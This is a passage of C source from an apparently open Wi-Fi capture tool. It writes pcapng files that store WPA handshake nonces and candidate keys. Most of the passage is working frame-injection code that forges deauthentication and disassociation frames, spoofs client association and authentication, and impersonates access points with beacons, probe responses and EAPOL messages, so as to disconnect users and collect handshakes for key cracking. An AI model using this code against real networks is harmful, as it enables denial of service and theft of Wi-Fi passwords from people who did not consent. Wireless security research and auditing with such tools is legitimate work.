totallength->total_length = shblen; if(write(fd_pcapng, &shb, shblen) != shblen) return false; #ifdef HCXSTATUSOUT wshbcount++; #endif return true; } /*---------------------------------------------------------------------------*/ static bool writeidb(void) { static ssize_t idblen; static interface_description_block_t *idbhdr; static total_length_t *totallength; static char tr[1]; static u8 idb[PCAPNG_BLOCK_SIZE]; memset(&idb, 0, PCAPNG_BLOCK_SIZE); idblen = IDB_SIZE; idbhdr = (interface_description_block_t*)idb; idbhdr->block_type = IDBID; idbhdr->linktype = DLT_IEEE802_11_RADIO; idbhdr->reserved = 0; idbhdr->snaplen = PCAPNG_SNAPLEN; idblen += addoption(idb +idblen, IF_NAME, strnlen(ifaktname, IF_NAMESIZE), ifaktname); idblen += addoption(idb +idblen, IF_MACADDR, 6, (char*)ifakthwmac); tr[0] = TSRESOL_NSEC; idblen += addoption(idb +idblen, IF_TSRESOL, 1, tr); idblen += addoption(idb +idblen, SHB_EOC, 0, NULL); totallength = (total_length_t*)(idb +idblen); idblen += TOTAL_SIZE; idbhdr->total_length = idblen; totallength->total_length = idblen; if(write(fd_pcapng, &idb, idblen) != idblen) return false; #ifdef HCXSTATUSOUT widbcount++; #endif return true; } /*---------------------------------------------------------------------------*/ static bool writecb(void) { static ssize_t cblen; static custom_block_t *cbhdr; static optionfield64_t *of; static total_length_t *totallength; static u8 cb[PCAPNG_BLOCK_SIZE]; memset(&cb, 0, PCAPNG_BLOCK_SIZE); cbhdr = (custom_block_t*)cb; cblen = CB_SIZE; cbhdr->block_type = CBID; cbhdr->total_length = CB_SIZE; memcpy(cbhdr->pen, &hcxmagic, 4); memcpy(cbhdr->hcxm, &hcxmagic, 32); cblen += addoption(cb +cblen, OPTIONCODE_MACAP, 6, (char*)macaprg); of = (optionfield64_t*)(cb +cblen); of->option_code = OPTIONCODE_RC; of->option_length = 8; of->option_value = replaycountrg; cblen += 12; cblen += addoption(cb +cblen, OPTIONCODE_ANONCE, 32, (char*)anoncerg); cblen += addoption(cb +cblen, OPTIONCODE_MACCLIENT, 6, (char*)macclientrg); cblen += addoption(cb +cblen, OPTIONCODE_SNONCE, 32, (char*)snoncerg); cblen += addoption(cb +cblen, OPTIONCODE_WEAKCANDIDATE, strnlen(weakcandidate, PSK_MAX), weakcandidate); cblen += addoption(cb +cblen, 0, 0, NULL); totallength = (total_length_t*)(cb +cblen); cblen += TOTAL_SIZE; cbhdr->total_length = cblen; totallength->total_length = cblen; if(write(fd_pcapng, &cb, cblen) != cblen) return false; #ifdef HCXSTATUSOUT wecbcount++; #endif return true; } /*---------------------------------------------------------------------------*/ #ifdef HCXNMEAOUT static bool writecbnmea(void) { static ssize_t cblen; static custom_block_t *cbhdr; static total_length_t *totallength; static u8 cb[PCAPNG_BLOCK_SIZE]; memset(&cb, 0, PCAPNG_BLOCK_SIZE); cbhdr = (custom_block_t*)cb; cblen = CB_SIZE; cbhdr->block_type = CBID; cbhdr->total_length = CB_SIZE; memcpy(cbhdr->pen, &hcxmagic, 4); memcpy(cbhdr->hcxm, &hcxmagic, 32); if(gprmclen > 2) cblen += addoption(cb +cblen, OPTIONCODE_NMEA, gprmclen - 2, gprmc); if(gpggalen > 2) cblen += addoption(cb +cblen, OPTIONCODE_NMEA, gpggalen - 2, gpgga); cblen += addoption(cb +cblen, 0, 0, NULL); totallength = (total_length_t*)(cb +cblen); cblen += TOTAL_SIZE; cbhdr->total_length = cblen; totallength->total_length = cblen; if(write(fd_pcapng, &cb, cblen) != cblen) return false; #ifdef HCXNMEAOUT wecbnmeacount++; #endif return true; } #endif /*---------------------------------------------------------------------------*/ static bool open_pcapng(char *pcapngoutname) { static int c; static struct stat statinfo; static char *pcapngfilename = NULL; static char pcapngname[PATH_MAX]; if(pcapngoutname == NULL) { c = 0; snprintf(pcapngname, PATH_MAX, "%s-%s.pcapng", timestring1, ifaktname); while(stat(pcapngname, &statinfo) == 0) { snprintf(pcapngname, PATH_MAX, "%s-%s-%02d.pcapng", timestring1, ifaktname, c); c++; } pcapngfilename = pcapngname; } else pcapngfilename = pcapngoutname; umask(0); if((fd_pcapng = open(pcapngfilename, O_WRONLY | O_TRUNC | O_CREAT, 0777)) < 0) return false; if(writeshb() == false) return false; if(writeidb() == false) return false; if(writecb() == false) return false; return true; } /*===========================================================================*/ /*===========================================================================*/ /* TX 802.11 */ /*===========================================================================*/ static inline __attribute__((always_inline)) void send_80211_associationrequest_org(size_t i) { ssize_t ii; ii = RTHTX_SIZE; macftx = (ieee80211_mac_t*)&wltxbuffer[ii]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_ASSOC_REQ; wltxbuffer[ii + 1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macfrx->addr2, ETH_ALEN); memcpy(macftx->addr2, (aplist +i)->macclient, ETH_ALEN); memcpy(macftx->addr3, macfrx->addr3, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter2++ << 4); if(seqcounter1 > 4095) seqcounter2 = 1; ii += MAC_SIZE_NORM; memcpy(&wltxbuffer[ii], &associationrequestcapa, ASSOCIATIONREQUESTCAPA_SIZE); ii += ASSOCIATIONREQUESTCAPA_SIZE; wltxbuffer[ii ++] = 0; wltxbuffer[ii ++] = (aplist +i)->ie.essidlen; memcpy(&wltxbuffer[ii], (aplist +i)->ie.essid, (aplist +i)->ie.essidlen); ii += (aplist +i)->ie.essidlen; memcpy(&wltxbuffer[ii], &associationrequestdata, ASSOCIATIONREQUEST_SIZE); if(((aplist +i)->ie.flags & APGS_CCMP) == APGS_CCMP) wltxbuffer[ii +0x17] = RSN_CS_CCMP; else if(((aplist +i)->ie.flags & APGS_TKIP) == APGS_TKIP) wltxbuffer[ii +0x17] = RSN_CS_TKIP; if(((aplist +i)->ie.flags & APCS_CCMP) == APCS_CCMP) wltxbuffer[ii +0x1d] = RSN_CS_CCMP; else if(((aplist +i)->ie.flags & APCS_TKIP) == APCS_TKIP) wltxbuffer[ii +0x1d] = RSN_CS_TKIP; ii += ASSOCIATIONREQUEST_SIZE; if((write(fd_socket_tx, &wltxbuffer, ii)) == ii) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "write associationrequest_orgfailed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_associationrequest(size_t i) { ssize_t ii; ii = RTHTX_SIZE; macftx = (ieee80211_mac_t*)&wltxbuffer[ii]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_ASSOC_REQ; wltxbuffer[ii + 1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macfrx->addr2, ETH_ALEN); memcpy(macftx->addr2, macclientrg, ETH_ALEN); memcpy(macftx->addr3, macfrx->addr3, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter2++ << 4); if(seqcounter1 > 4095) seqcounter2 = 1; ii += MAC_SIZE_NORM; memcpy(&wltxbuffer[ii], &associationrequestcapa, ASSOCIATIONREQUESTCAPA_SIZE); ii += ASSOCIATIONREQUESTCAPA_SIZE; wltxbuffer[ii ++] = 0; wltxbuffer[ii ++] = (aplist +i)->ie.essidlen; memcpy(&wltxbuffer[ii], (aplist +i)->ie.essid, (aplist +i)->ie.essidlen); ii += (aplist +i)->ie.essidlen; memcpy(&wltxbuffer[ii], &associationrequestdata, ASSOCIATIONREQUEST_SIZE); if(((aplist +i)->ie.flags & APGS_CCMP) == APGS_CCMP) wltxbuffer[ii +0x17] = RSN_CS_CCMP; else if(((aplist +i)->ie.flags & APGS_TKIP) == APGS_TKIP) wltxbuffer[ii +0x17] = RSN_CS_TKIP; if(((aplist +i)->ie.flags & APCS_CCMP) == APCS_CCMP) wltxbuffer[ii +0x1d] = RSN_CS_CCMP; else if(((aplist +i)->ie.flags & APCS_TKIP) == APCS_TKIP) wltxbuffer[ii +0x1d] = RSN_CS_TKIP; ii += ASSOCIATIONREQUEST_SIZE; if((write(fd_socket_tx, &wltxbuffer, ii)) == ii) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "write associationrequest failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_eap_request_id(void) { static ssize_t ii; ii = RTHTX_SIZE; macftx = (ieee80211_mac_t*)&wltxbuffer[ii]; macftx->type = IEEE80211_FTYPE_DATA; macftx->subtype = IEEE80211_STYPE_DATA; wltxbuffer[ii + 1] = 0; macftx->from_ds = 1; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macfrx->addr2, ETH_ALEN); memcpy(macftx->addr2, macfrx->addr1, ETH_ALEN); memcpy(macftx->addr3, macfrx->addr3, ETH_ALEN); macftx->sequence = 0; ii += MAC_SIZE_NORM; memcpy(&wltxbuffer[ii], &eaprequestiddata, EAPREQUESTID_SIZE); ii += EAPREQUESTID_SIZE; if(write(fd_socket_tx, &wltxbuffer, ii) == ii) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_eap_request_id failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_eapol_m1(void) { static ssize_t ii; ii = RTHTX_SIZE; macftx = (ieee80211_mac_t*)&wltxbuffer[ii]; macftx->type = IEEE80211_FTYPE_DATA; macftx->subtype = IEEE80211_STYPE_DATA; wltxbuffer[ii + 1] = 0; macftx->from_ds = 1; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macfrx->addr2, ETH_ALEN); memcpy(macftx->addr2, macfrx->addr1, ETH_ALEN); memcpy(macftx->addr3, macfrx->addr3, ETH_ALEN); macftx->sequence = 0; ii += MAC_SIZE_NORM; memcpy(&wltxbuffer[ii], &eapolm1data, EAPOLM1DATA_SIZE); ii += EAPOLM1DATA_SIZE; if(write(fd_socket_tx, &wltxbuffer, ii) == ii) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_eapol_m1 failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_reassociationresponse(u16 aid) { static ssize_t ii; static ieee80211_assoc_or_reassoc_resp_t *associationresponsetx; ii = RTHTX_SIZE; macftx = (ieee80211_mac_t*)&wltxbuffer[ii]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_REASSOC_RESP; wltxbuffer[ii + 1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macfrx->addr2, ETH_ALEN); memcpy(macftx->addr2, macfrx->addr1, ETH_ALEN); memcpy(macftx->addr3, macfrx->addr3, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter3++ << 4); if(seqcounter1 > 4095) seqcounter3 = 1; ii += MAC_SIZE_NORM; associationresponsetx = (ieee80211_assoc_or_reassoc_resp_t*)&wltxbuffer[ii]; associationresponsetx->capability = HCXTXCAPABILITY; associationresponsetx->status = 0; associationresponsetx->aid = aid; ii += IEEE80211_ASSOCIATIONRESPONSE_SIZE; memcpy(&wltxbuffer[ii], &associationresponsedata, ASSOCIATIONRESPONSEDATA_SIZE); ii += ASSOCIATIONRESPONSEDATA_SIZE; if(write(fd_socket_tx, &wltxbuffer, ii) == ii) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_reassociationresponse failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_associationresponse(void) { static ssize_t ii; static ieee80211_assoc_or_reassoc_resp_t *associationresponsetx; ii = RTHTX_SIZE; macftx = (ieee80211_mac_t*)&wltxbuffer[ii]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_ASSOC_RESP; wltxbuffer[ii + 1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macfrx->addr2, ETH_ALEN); memcpy(macftx->addr2, macfrx->addr1, ETH_ALEN); memcpy(macftx->addr3, macfrx->addr3, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter3++ << 4); if(seqcounter1 > 4095) seqcounter3 = 1; ii += MAC_SIZE_NORM; associationresponsetx = (ieee80211_assoc_or_reassoc_resp_t*)&wltxbuffer[ii]; associationresponsetx->capability = HCXTXCAPABILITY; associationresponsetx->status = 0; associationresponsetx->aid = HCXTXAID; ii += IEEE80211_ASSOCIATIONRESPONSE_SIZE; memcpy(&wltxbuffer[ii], &associationresponsedata, ASSOCIATIONRESPONSEDATA_SIZE); ii += ASSOCIATIONRESPONSEDATA_SIZE; if(write(fd_socket_tx, &wltxbuffer, ii) == ii) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_associationresponse failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_authenticationresponse(void) { macftx = (ieee80211_mac_t*)&wltxbuffer[RTHTX_SIZE]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_AUTH; wltxbuffer[RTHTX_SIZE + 1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macfrx->addr2, ETH_ALEN); memcpy(macftx->addr2, macfrx->addr1, ETH_ALEN); memcpy(macftx->addr3, macfrx->addr3, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter3++ << 4); if(seqcounter1 > 4095) seqcounter3 = 1; memcpy(&wltxbuffer[RTHTX_SIZE + MAC_SIZE_NORM], &authenticationresponsedata, AUTHENTICATIONRESPONSE_SIZE); if((write(fd_socket_tx, &wltxbuffer, RTHTX_SIZE + MAC_SIZE_NORM + AUTHENTICATIONRESPONSE_SIZE)) == RTHTX_SIZE + MAC_SIZE_NORM + AUTHENTICATIONRESPONSE_SIZE) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_authenticationresponse failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_reassociationrequest(size_t i) { static ssize_t ii; static ieee80211_reassoc_req_t *reassociationrequest; ii = RTHTX_SIZE; macftx = (ieee80211_mac_t*)&wltxbuffer[ii]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_REASSOC_REQ; wltxbuffer[ii + 1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, (aplist +i)->macap, ETH_ALEN); memcpy(macftx->addr2, (aplist +i)->macclient, ETH_ALEN); memcpy(macftx->addr3, (aplist +i)->macap, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter3++ << 4); if(seqcounter1 > 4095) seqcounter3 = 1; ii += MAC_SIZE_NORM; reassociationrequest = (ieee80211_reassoc_req_t*)&wltxbuffer[ii]; reassociationrequest->capability = HCXTXCAPABILITY; reassociationrequest->listen_interval = HCXTXLISTENINTERVAL; memcpy(reassociationrequest->current_macap, (aplist +i)->macap, ETH_ALEN); ii += sizeof(ieee80211_reassoc_req_t) -1; wltxbuffer[ii ++] = 0; wltxbuffer[ii ++] = (aplist +i)->ie.essidlen; memcpy(&wltxbuffer[ii], (aplist +i)->ie.essid, (aplist +i)->ie.essidlen); ii += (aplist +i)->ie.essidlen; memcpy(&wltxbuffer[ii], &reassociationrequestdata, REASSOCIATIONREQUEST_SIZE); if(((aplist +i)->ie.flags & APGS_CCMP) == APGS_CCMP) wltxbuffer[ii +0x17] = RSN_CS_CCMP; else if(((aplist +i)->ie.flags & APGS_TKIP) == APGS_TKIP) wltxbuffer[ii +0x17] = RSN_CS_TKIP; if(((aplist +i)->ie.flags & APCS_CCMP) == APCS_CCMP) wltxbuffer[ii +0x1d] = RSN_CS_CCMP; else if(((aplist +i)->ie.flags & APCS_TKIP) == APCS_TKIP) wltxbuffer[ii +0x1d] = RSN_CS_TKIP; ii += REASSOCIATIONREQUEST_SIZE; if((write(fd_socket_tx, &wltxbuffer, ii)) == ii) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_reassociationreques failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_authenticationrequest(void) { macftx = (ieee80211_mac_t*)&wltxbuffer[RTHTX_SIZE]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_AUTH; wltxbuffer[RTHTX_SIZE + 1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macfrx->addr2, ETH_ALEN); memcpy(macftx->addr2, macclientrg, ETH_ALEN); memcpy(macftx->addr3, macfrx->addr3, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter2++ << 4); if(seqcounter1 > 4095) seqcounter2 = 1; memcpy(&wltxbuffer[RTHTX_SIZE + MAC_SIZE_NORM], &authenticationrequestdata, AUTHENTICATIONREQUEST_SIZE); if((write(fd_socket_tx, &wltxbuffer, RTHTX_SIZE + MAC_SIZE_NORM + AUTHENTICATIONREQUEST_SIZE)) == RTHTX_SIZE + MAC_SIZE_NORM + AUTHENTICATIONREQUEST_SIZE) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_authenticationrequest failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_probereresponse(u8 *macclientrsp, u8 *macaprgrsp, u8 essidlenrsp, u8 *essidrsp) { static ssize_t ii; static ieee80211_beacon_proberesponse_t *beacontx; ii = RTHTX_SIZE; macftx = (ieee80211_mac_t*)&wltxbuffer[ii]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_PROBE_RESP; wltxbuffer[ii + 1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macclientrsp, ETH_ALEN); memcpy(macftx->addr2, macaprgrsp, ETH_ALEN); memcpy(macftx->addr3, macaprgrsp, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter3++ << 4); if(seqcounter1 > 4095) seqcounter3 = 1; ii += MAC_SIZE_NORM; beacontx = (ieee80211_beacon_proberesponse_t*)&wltxbuffer[ii]; beacontx->timestamp = __hcx64le(beacontimestamp++); beacontx->beacon_interval = HCXTXBEACONINTERVAL; beacontx->capability = HCXTXCAPABILITY; ii += IEEE80211_PROBERESPONSE_SIZE; wltxbuffer[ii ++] = 0; wltxbuffer[ii ++] = essidlenrsp; memcpy(&wltxbuffer[ii], essidrsp, essidlenrsp); ii += essidlenrsp; memcpy(&wltxbuffer[ii], &proberesponsedata, PROBERESPONSEDATA_SIZE); wltxbuffer[ii + 0x0c] = (u8)(scanlist + scanlistindex)->channel; ii += PROBERESPONSEDATA_SIZE; if((write(fd_socket_tx, &wltxbuffer, ii)) == ii) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_probereresponse failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_beacon(void) { static ssize_t ii; static ieee80211_beacon_proberesponse_t *beacontx; ii = RTHTX_SIZE; macftx = (ieee80211_mac_t*)&wltxbuffer[ii]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_BEACON; wltxbuffer[ii + 1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macbc, ETH_ALEN); memcpy(macftx->addr2, &macaprghidden, ETH_ALEN); memcpy(macftx->addr3, &macaprghidden, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter4++ << 4); if(seqcounter1 > 4095) seqcounter4 = 1; ii += MAC_SIZE_NORM; beacontx = (ieee80211_beacon_proberesponse_t*)&wltxbuffer[ii]; beacontx->timestamp = __hcx64le(beacontimestamp++); beacontx->beacon_interval = HCXTXBEACONINTERVAL; beacontx->capability = HCXTXCAPABILITY; ii += IEEE80211_BEACON_SIZE; memcpy(&wltxbuffer[ii], &beacondata, BEACONDATA_SIZE); wltxbuffer[ii + 0x0e] = (u8)(scanlist + scanlistindex)->channel; ii += BEACONDATA_SIZE; if((write(fd_socket_tx, &wltxbuffer, ii)) == ii) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_beacon failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_proberequest_undirected(void) { macftx = (ieee80211_mac_t*)&wltxbuffer[RTHTX_SIZE]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_PROBE_REQ; wltxbuffer[RTHTX_SIZE + 1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macbc, ETH_ALEN); memcpy(macftx->addr2, macclientrg, ETH_ALEN); memcpy(macftx->addr3, macbc, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter2++ << 4); if(seqcounter1 > 4095) seqcounter2 = 1; memcpy(&wltxbuffer[RTHTX_SIZE + MAC_SIZE_NORM], &proberequest_undirected_data, PROBEREQUEST_UNDIRECTED_SIZE); if((write(fd_socket_tx, &wltxbuffer, RTHTX_SIZE + MAC_SIZE_NORM + PROBEREQUEST_UNDIRECTED_SIZE)) == RTHTX_SIZE + MAC_SIZE_NORM + PROBEREQUEST_UNDIRECTED_SIZE) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_proberequest_undirected failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_disassociation_fm_ap(const u8* macclient, const u8* macap, u8 reason) { macftx = (ieee80211_mac_t*)&wltxbuffer[RTHTX_SIZE]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_DISASSOC; wltxbuffer[RTHTX_SIZE +1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macclient, ETH_ALEN); memcpy(macftx->addr2, macap, ETH_ALEN); memcpy(macftx->addr3, macap, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter1++ << 4); if(seqcounter1 > 4095) seqcounter1 = 1; wltxbuffer[RTHTX_SIZE + MAC_SIZE_NORM] = reason; wltxbuffer[RTHTX_SIZE + MAC_SIZE_NORM +1] = 0; if((write(fd_socket_tx, &wltxbuffer, RTHTX_SIZE + MAC_SIZE_NORM +2)) == RTHTX_SIZE + MAC_SIZE_NORM +2) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_disassociation_fm_ap failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_disassociation_fm_client(const u8* macclient, const u8* macap, u8 reason) { macftx = (ieee80211_mac_t*)&wltxbuffer[RTHTX_SIZE]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_DISASSOC; wltxbuffer[RTHTX_SIZE +1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macap, ETH_ALEN); memcpy(macftx->addr2, macclient, ETH_ALEN); memcpy(macftx->addr3, macap, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter1++ << 4); if(seqcounter1 > 4095) seqcounter1 = 1; wltxbuffer[RTHTX_SIZE + MAC_SIZE_NORM] = reason; wltxbuffer[RTHTX_SIZE + MAC_SIZE_NORM +1] = 0; if((write(fd_socket_tx, &wltxbuffer, RTHTX_SIZE + MAC_SIZE_NORM +2)) == RTHTX_SIZE + MAC_SIZE_NORM +2) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_disassociation_fm_client failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_deauthentication_fm_ap(const u8* macclient, const u8* macap, u8 reason) { macftx = (ieee80211_mac_t*)&wltxbuffer[RTHTX_SIZE]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_DEAUTH; wltxbuffer[RTHTX_SIZE +1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macclient, ETH_ALEN); memcpy(macftx->addr2, macap, ETH_ALEN); memcpy(macftx->addr3, macap, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter1++ << 4); if(seqcounter1 > 4095) seqcounter1 = 1; wltxbuffer[RTHTX_SIZE + MAC_SIZE_NORM] = reason; wltxbuffer[RTHTX_SIZE + MAC_SIZE_NORM +1] = 0; if((write(fd_socket_tx, &wltxbuffer, RTHTX_SIZE + MAC_SIZE_NORM +2)) == RTHTX_SIZE + MAC_SIZE_NORM +2) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_deauthentication_fm_ap failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void send_80211_deauthentication_fm_client(const u8* macclient, const u8* macap, u8 reason) { macftx = (ieee80211_mac_t*)&wltxbuffer[RTHTX_SIZE]; macftx->type = IEEE80211_FTYPE_MGMT; macftx->subtype = IEEE80211_STYPE_DEAUTH; wltxbuffer[RTHTX_SIZE +1] = 0; macftx->duration = HCXTXDURATION; memcpy(macftx->addr1, macap, ETH_ALEN); memcpy(macftx->addr2, macclient, ETH_ALEN); memcpy(macftx->addr3, macap, ETH_ALEN); macftx->sequence = __hcx16le(seqcounter1++ << 4); if(seqcounter1 > 4095) seqcounter1 = 1; wltxbuffer[RTHTX_SIZE + MAC_SIZE_NORM] = reason; wltxbuffer[RTHTX_SIZE + MAC_SIZE_NORM +1] = 0; if((write(fd_socket_tx, &wltxbuffer, RTHTX_SIZE + MAC_SIZE_NORM +2)) == RTHTX_SIZE + MAC_SIZE_NORM +2) { errortxcount = 0; return; } #ifdef HCXDEBUG fprintf(fh_debug, "send_80211_deauthentication_fm_client failed: %s\n", strerror(errno)); #endif errortxcount++; return; } /*===========================================================================*/ /*===========================================================================*/ /* RX 802.11 */ static inline __attribute__((always_inline)) void get_tagvendor(infoelement_t *infoelement, int infolen, u8 *infostart) { static size_t c; static ieee80211_wpaie_t *iewpa; static ieee80211_wpasuite_t *wpasuite; static ieee80211_wpasuitecount_t *wpasuitecount; iewpa = (ieee80211_wpaie_t*)infostart; if(memcmp(&wpasuiteoui, iewpa->oui, 3) != 0) return; if(iewpa->type != 1) return; if(__hcx16le(iewpa->version) != 1) return; infostart += IEEE80211_WPAIE_SIZE; infolen -= IEEE80211_WPAIE_SIZE; wpasuite =(ieee80211_wpasuite_t*)infostart; if(memcmp(&wpasuiteoui, wpasuite->oui, 3) != 0) return; infostart += IEEE80211_WPASUITE_SIZE; infolen -= IEEE80211_WPASUITE_SIZE; wpasuitecount =(ieee80211_wpasuitecount_t*)infostart; infostart += IEEE80211_WPASUITECOUNT_SIZE; infolen -= IEEE80211_WPASUITECOUNT_SIZE; for(c = 0; c < __hcx16le(wpasuitecount->count); c++) { if(infolen <= 0) return; wpasuite =(ieee80211_wpasuite_t*)infostart; infostart += IEEE80211_WPASUITE_SIZE; infolen -= IEEE80211_WPASUITE_SIZE; } wpasuitecount =(ieee80211_wpasuitecount_t*)infostart; infostart += IEEE80211_WPASUITECOUNT_SIZE; infolen -= IEEE80211_WPASUITECOUNT_SIZE; for(c = 0; c < __hcx16le(wpasuitecount->count); c++) { if(infolen <= 0) return; wpasuite =(ieee80211_wpasuite_t*)infostart; if(memcmp(&wpasuiteoui, wpasuite->oui, 3) == 0) { if(wpasuite->type == WPA_AKM_PSK) infoelement->flags |= APWPAAKM_PSK; } infostart += IEEE80211_WPASUITE_SIZE; infolen -= IEEE80211_WPASUITE_SIZE; } return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void get_tagrsn(infoelement_t *infoelement, int infolen, u8 *infostart) { static size_t c; static ieee80211_rsnie_t *iersn; static ieee80211_rnsuite_t *rsnsuite; static ieee80211_rsnsuitecount_t *rsnsuitecount; static ieee80211_rsncapability_t *rsncapability; iersn = (ieee80211_rsnie_t*)infostart; if(__hcx16le(iersn->version) != 1) return; infostart += IEEE80211_RSNIE_SIZE; infolen -= IEEE80211_RSNIE_SIZE; rsnsuite =(ieee80211_rnsuite_t*)infostart; if(memcmp(&rsnsuiteoui, rsnsuite->oui, 3) != 0) return; if(rsnsuite->type == RSN_CS_CCMP) infoelement->flags |= APGS_CCMP; if(rsnsuite->type == RSN_CS_TKIP) infoelement->flags |= APGS_TKIP; infostart += IEEE80211_RSNSUITE_SIZE; infolen -= IEEE80211_RSNSUITE_SIZE; rsnsuitecount =(ieee80211_rsnsuitecount_t*)infostart; infostart += IEEE80211_RSNSUITECOUNT_SIZE; infolen -= IEEE80211_RSNSUITECOUNT_SIZE; for(c = 0; c < __hcx16le(rsnsuitecount->count); c++) { if(infolen <= 0) return; rsnsuite =(ieee80211_rnsuite_t*)infostart; if(memcmp(&rsnsuiteoui, rsnsuite->oui, 3) == 0) { if(rsnsuite->type == RSN_CS_CCMP) infoelement->flags |= APCS_CCMP; if(rsnsuite->type == RSN_CS_TKIP) infoelement->flags |= APCS_TKIP; } infostart += IEEE80211_RSNSUITE_SIZE; infolen -= IEEE80211_RSNSUITE_SIZE; } rsnsuitecount =(ieee80211_rsnsuitecount_t*)infostart; infostart += IEEE80211_RSNSUITECOUNT_SIZE; infolen -= IEEE80211_RSNSUITECOUNT_SIZE; for(c = 0; c < __hcx16le(rsnsuitecount->count); c++) { if(infolen <= 0) return; rsnsuite =(ieee80211_rnsuite_t*)infostart; if(memcmp(&rsnsuiteoui, rsnsuite->oui, 3) == 0) { if(rsnsuite->type == 